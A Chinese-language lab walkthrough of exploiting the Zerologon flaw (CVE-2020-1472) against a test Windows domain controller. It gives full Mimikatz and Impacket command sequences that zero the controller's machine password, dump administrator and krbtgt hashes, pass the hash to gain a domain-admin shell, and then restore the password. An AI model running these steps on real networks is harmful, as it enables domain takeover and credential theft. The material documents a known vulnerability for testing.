前言
2020年08月11日,Windows官方发布了 NetLogon 特权提升漏洞的风险通告,该漏洞编号为CVE-2020-1472,漏洞等级:严重,漏洞评分:10分,该漏洞也称为“Zerologon”。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。
影响版本
Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019 (Server Core installation) Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation) Windows Server, version 2004 (Server Core installation)
漏洞利用
方式一:利用Mimikatz在域主机上进行攻击
在爆发出CVE-2020-1472漏洞后,Mimikatz在2020.09.18版本中更新了Zerologon模块,并支持通过Zerologon漏洞攻击直接域控服务器,但是这种方法想要我们把Mimikatz等利用工具上传到域内主机中,如果域内主机存在杀毒软件,我们还需要进行对Mimikatz等利用工具进行免杀z处理,优点就是比较方便,不用通过代理不存在因为网络问题的未知错误。
第一步:通过Nslookup -type=SRV _ldap._tcp命令获取域控制服务器的机器账号,一般来说机器账号为机器名加上$符号组成;
第二步:利用Mimikatz的Zerologon模块去探测域控是否存在该漏洞,如果存在漏洞就会回显“OK,Vulnerable”。
lsadump::zerologon /target:10.1.19.2 /account:dc$ shell c:\mimikatz\x64\mimikatz.exe "lsadump::zerologon /target:10.1.19.2 /account:dc$" "exit"
第三步:利用置零修改域控密码为空,这一步会把域控dc(即dc$用户)的密码置为空,hash为31d6cfe0d16ae931b73c59d7e0c089c0,回显两个OK显示成功把密码置零,因为机器用户是不可以登录系统的,但是域控的机器用户具备Dcsync特权,我们就可以滥用该特权来进行Dcsync攻击;
lsadump::zerologon /target:10.1.19.2 /account:dc$ /exploit shell c:\mimikatz\x64\mimikatz.exe "lsadump::zerologon /target:10.1.19.2 /account:dc$ /exploit" "exit"
第四步:Dcsync获取域管理员的Hash,这一步可以使用Mimikatz来进行Dcsync并获取域管理员帐户或 KRBTGT 帐户的哈希值即可。
lsadump::dcsync /dc:dc.test19.god /authuser:dc$ /authdomain:test19.god /authpassword:"" /domain:test19.god /authntlm /user:krbtgt shell c:\mimikatz\x64\mimikatz.exe "lsadump::dcsync /dc:dc.test19.god /authuser:dc$ /authdomain:test19.god /authpassword: /domain:test19.god /authntlm /user:administrator" "exit"
第五步:hash 注入起一个域管cmd
privilege::debug sekurlsa::pth /user:administrator /domain:test19 /ntlm:aa647b916a1fad374df9c30711d58a7a shell c:\mimikatz\x64\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:test19 /ntlm:aa647b916a1fad374df9c30711d58a7a" "exit"
第六步:通过域管cmd,恢复域控机器账户密码
lsadump::postzerologon /target:10.1.19.2 /account:dc$ c:\mimikatz\x64\mimikatz.exe "lsadump::postzerologon /target:10.1.19.2 /account:dc$" "exit"
第七步:验证,修复之后,无法再次获得域管hash
方式二:利用socks5隧道在域外主机上进行攻击
查看域控的主机名
本地先尝试使用域控制密码,查看域机器账号的Hash,方便与修改之后比较。
secretsdump.py test19.com/administrator:"abc@123"@10.1.19.2 -just-dc-user "DC$"
环境准备
1.git clone https://github.com/mstxq17/cve-2020-1472.git 2.pip3 install -r requirements.txt
执行出现这个错误
说明是impacket模块出现了问题,试试卸载impacket模块,在github安装最新版。
git clone https://github.com/SecureAuthCorp/impacket.git cd impacket && pip3 install .
第一步:poc 检测
第二步:使用cve-2020-1472-exploit.py将机器账号重新设置
python3 cve-2020-1472-exploit.py DC$ 10.1.19.2
再次查看机器账户hash是否修改为空
第三步:导出域内所有用户的凭证,获取administrator用户的hash
secretsdump.py test19.god/DC\$@10.1.19.2 -no-pass
此时,DC$ hash已被替换为空
DC$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
到了域管的hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:aa647b916a1fad374df9c30711d58a7a:::
使用administrator的hash横向连接,拿到域管权限。
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:aa647b916a1fad374df9c30711d58a7a test19.god/Administrator@10.1.19.2
第四步:还原DC$机器账号的hash
获取计算机账号原始hash
reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save lget system.save lget sam.save lget security.save del /f system.save del /f sam.save del /f security.save
wmiexec指定下编码 -codec
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:aa647b916a1fad374df9c30711d58a7a test19.god/Administrator@10.1.19.2 -codec gb2312
下载的文件在与wimiexec.py 相同目录
获取机器账户原来的hex信息
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
将该原始计算机账户哈希还原
python3 restorepassword.py test.god/DC@DC -target-ip 10.1.19.2 -hexpass 887e4f16601423c299792351e9f9a2bf8a90ee068bb6b0a30114375a53472db2d99e39c04670fd9bd02a923ec6bfaa48042a352dfff720b2f06b90874659e35f32ecbd93c398ab140adcf59e4104e7178e877082f88212314d53f672d75d00fe43762e8b118f56d98f332b45e946b5b0fbc41f245bdfa6d35a63283d56c579f9b7e47e1801d37d3eda7d2edf2917231df0352afd42156a4240c9ebc73703445af8eb75289da4cd9eb4182fa82398e3419d1cf61f6ec415b4e9d75aaf974353956dc5ce3f59ef0e07193798ba0ad5682196a932779e3019015d0d0e8852ec18459b00f15601e5bb6f727b6fc7d18c05fb
查看DC$账号的hash,已成功还原。
secretsdump.py test19.com/administrator:"abc@123"@10.1.19.2 -just-dc-user "DC$"
无法导出域管hash了